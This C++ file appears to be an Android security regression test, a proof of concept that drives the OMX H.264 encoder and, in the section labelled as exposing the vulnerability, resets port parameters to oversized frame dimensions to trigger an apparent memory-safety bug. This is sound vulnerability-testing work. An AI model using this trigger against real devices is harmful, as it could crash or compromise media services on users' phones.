1 /**
2  * Copyright (C) 2020 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <stdlib.h>
18 #include "../includes/common.h"
19 #include "../includes/omxUtils.h"
20 
21 sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
22 
allocateHidlPortBuffers(OMX_U32 portIndex,Vector<Buffer> * buffers)23 int allocateHidlPortBuffers(OMX_U32 portIndex,
24                         Vector<Buffer> *buffers) {
25     buffers->clear();
26     OMX_PARAM_PORTDEFINITIONTYPE def;
27     int err = omxUtilsGetParameter(portIndex, &def);
28     omxExitOnError(err);
29     for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
30         Buffer buffer;
31         buffer.mFlags = 0;
32         bool success;
33         auto transStatus = mAllocator->allocate(def.nBufferSize,
34                                                 [&success, &buffer](
35                                                         bool s,
36                                                         hidl_memory const& m) {
37                                                     success = s;
38                                                     buffer.mHidlMemory = m;
39                                                 });
40         omxExitOnError(!transStatus.isOk());
41         omxExitOnError(!success);
42         omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
43         buffers->push(buffer);
44     }
45     return OK;
46 }
47 
main()48 int main() {
49 
50     /* Initialize OMX for the specified codec                            */
51     status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
52     omxExitOnError(ret);
53     /* Get OMX input port parameters                                     */
54     OMX_PARAM_PORTDEFINITIONTYPE *params =
55             (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
56                     sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
57     memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
58     omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
59     int ipBufferCount = params->nBufferCountActual;
60     /* Set port mode */
61     omxUtilsSetPortMode(OMX_UTILS_IP_PORT, IOMX::kPortModeDynamicANWBuffer);
62     /* Allocate input buffers and graphic buffer                         */
63     sp<GraphicBuffer> graphicbuffer = new GraphicBuffer(
64             params->format.video.nFrameWidth, params->format.video.nFrameHeight,
65             HAL_PIXEL_FORMAT_RGBX_8888,
66             android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER, "me");
67     int i;
68     Vector<Buffer> inputBuffers;
69     Vector<Buffer> outputBuffers;
70     /* Register input buffers with OMX component                         */
71     allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
72     /* Get OMX output port parameters                                    */
73     memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
74     omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
75     int opBufferSize = params->nBufferSize;
76     int opBufferCount = params->nBufferCountActual;
77     allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
78     /* Do OMX State chage to Idle                                        */
79     omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
80     /* Do OMX State chage to Executing                                   */
81     omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
82     /* Empty input buffers and fill output buffers                       */
83     OMXBuffer omxIpBuf(graphicbuffer);
84     omxUtilsEmptyBuffer(inputBuffers[0].mID, omxIpBuf, 0, 0, -1);
85     OMXBuffer omxOpBuf(0, opBufferSize);
86     omxUtilsFillBuffer(outputBuffers[0].mID, omxOpBuf, -1);
87     /* Do OMX State chage to Idle                                        */
88     omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
89     /* Do OMX State chage to Loaded                                      */
90     omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
91     /* Free input and output buffers                                     */
92     for (i = 0; i < ipBufferCount; i++) {
93         omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
94     }
95     for (i = 0; i < opBufferCount; i++) {
96         omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
97     }
98     /*********************************************************************/
99     /* Following code exposes vulnerability                              */
100     /*********************************************************************/
101     Vector<Buffer> newInputBuffers;
102     Vector<Buffer> newOutputBuffers;
103     /* Get OMX input port parameters, change settings and set output port*/
104     /* port parameters                                                   */
105     memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
106     omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
107     params->nBufferSize = 38016;
108     params->format.video.nFrameWidth = 2000;
109     params->format.video.nFrameHeight = 2000;
110     omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
111     /* Allocated input buffers and register with OMX component           */
112     allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers);
113     /* Allocated output buffers and register with OMX component          */
114     allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers);
115     /* Do OMX State chage to Idle                                        */
116     omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
117     /* Do OMX State chage to Executing                                   */
118     omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
119     /* Empty input buffers and fill output buffers                       */
120     OMXBuffer newOmxIpBuf(graphicbuffer);
121     omxUtilsEmptyBuffer(newInputBuffers[0].mID, newOmxIpBuf, 0, 0, -1);
122     OMXBuffer newOmxOpBuf(0, opBufferSize);
123     omxUtilsFillBuffer(newOutputBuffers[0].mID, newOmxOpBuf, -1);
124     /* Do OMX State change to Idle                                         */
125     omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
126     /* Do OMX State change to Loaded                                       */
127     omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
128     /* Free input and output buffers                                       */
129     for (i = 0; i < ipBufferCount; i++) {
130         omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, newInputBuffers[i].mID);
131     }
132     for (i = 0; i < opBufferCount; i++) {
133         omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mID);
134     }
135     /* Free OMX resources                                                */
136     omxUtilsFreeNode();
137 
138     return EXIT_SUCCESS;
139 }
140